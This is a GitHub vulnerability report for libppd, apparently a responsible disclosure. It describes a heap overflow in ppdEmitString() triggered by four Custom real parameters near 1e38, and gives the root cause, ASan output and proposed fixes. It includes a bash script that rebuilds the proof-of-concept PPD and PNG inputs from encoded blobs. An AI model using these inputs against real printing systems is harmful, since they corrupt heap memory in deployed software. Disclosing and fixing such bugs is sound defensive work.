Skip to content

libppd: Custom real parameters overflow ppdEmitString #84

Description

@kimaiden1984-boop

Summary

ppdEmitString() reserves only ten bytes for each marked Custom numeric
parameter. Four legal real values near 1e38 each format to roughly 38
bytes, causing _ppdStrFormatd() and subsequent emission to write past a
202-byte heap allocation.

Validated libppd source:

  • tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
  • current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

The relevant source is byte-identical at both revisions.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28,
defines four Custom real parameters with range 0..1e38.

Run ./reproduce.sh. MODE=control ./reproduce.sh marks only two parameters;
the default marks all four:

AuditMulti="{ P1=1e38 P2=1e38 P3=1e38 P4=1e38 }"

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: Custom real parameters overflow ppdEmitString
# Finding ID: libppd-custom-real-emit-heap-overflow
# Trigger: ppdEmitString() reserves only ten bytes for each marked Custom
# numeric parameter. Four legal real values near 1e38 each format to roughly
# 38 bytes, causing _ppdStrFormatd() and subsequent emission to write past a
# 202-byte heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (1625 bytes)
write_file printer.ppd 780be281e46eb1391e2c91e1da5911c697493fb52fd9c845b7265e5bff27cc28 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61UTU/jMBC991dYPUEl6qTpp4WQoIDUVUstCntZ7cFNhmKtY0eOjdj++h33g6Ts
IuWwh0bWmzfjmfem7nB+e3GdmTUw0u53k3arc29sLtx3sKU0ukKlggqLuxFic6E3Xmwq/E5vlCxf
q8idTk0m9YaR2Wo5F07quNVZCO1fROq8BYu1Vouni3u/3YLFkguTgXoQeWjnUZQOrDNFqt7JE+SF
Eg6Qs3o11j3I9NeBhwVq0VrgqwJ8GqapslGDLv5CxJrMpw7hs1rV8xBZVdOfJVEcnZMgQeqL8iOA
quyR/RQ+X4cBjxhOLdTUFBJKRu6FKmEfwF7cTghRFEqmKJLR9E1n3RC8sLsZSERsbZjDxXw6R8mz
b2aN2TrYpjCyLEA/z0jn2mfSLbxyku6OJA9nRjgKtNR4+dJmYG8B6Rno9Dcjw4hwNG0Fzhf1/Fbn
Fl4EnioIyyghdavG2iN098V+sJOpMiU8z9hprakvnclreU/WByMKUwSdhRX5XxQeUx6jwMSCUChG
DMn4S26P8h4jvUbchPKEkaQRt095n5F+I+6A8gEjg0bcIeVDFL8Rd0T5iJFRI+6Y8jEj40bcCeUT
RiaNuHGEZkToRtSMHrwL5jVzL0b7YvQv/mTgca13Gyq3UFvkw3ZWkTk4/K+0PrgHAJfs8pIewR9D
vGI06f2ks1xs8JG6uTHvRHulrq5KcAXSMniTKZxs8jH7tKFH2OxegH+1dIzVm9pj/7mtfdGPu0M6
iLWCa9Sxuv4ErjqIxyQZksGkT0aDYbs2QIFvhMxBl5+GqONVmUPz7dYf2HjjulkGAAA=
POC_PAYLOAD_1

Result

The two-parameter control exits 0. The four-parameter trigger aborts with
ASan WRITE of size 1 in _ppdStrFormatd() at string.c:239, immediately
after the heap region allocated by ppdEmitString().

The real filter path reaches the overflow before reading the 1-by-1 PNG:

imagetops -> ppdFilterLoadPPD -> ppdLoadAttributes
 -> ppdRasterInterpretPPD -> ppdEmitString

This is a heap write controlled by PPD parameter definitions and job option
values. It is not demonstrated as an arbitrary-address write.

Cause and expected behavior

The size estimate at ppd-emit.c:783 assigns ten bytes to each numeric value,
while line 1096 formats a real value with %.12f. The estimate is not an
upper bound for the accepted real range.

Emission should use a two-pass bounded formatter or grow the buffer after
measuring every formatted parameter. PPD ranges and finite values must also be
validated before marking.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions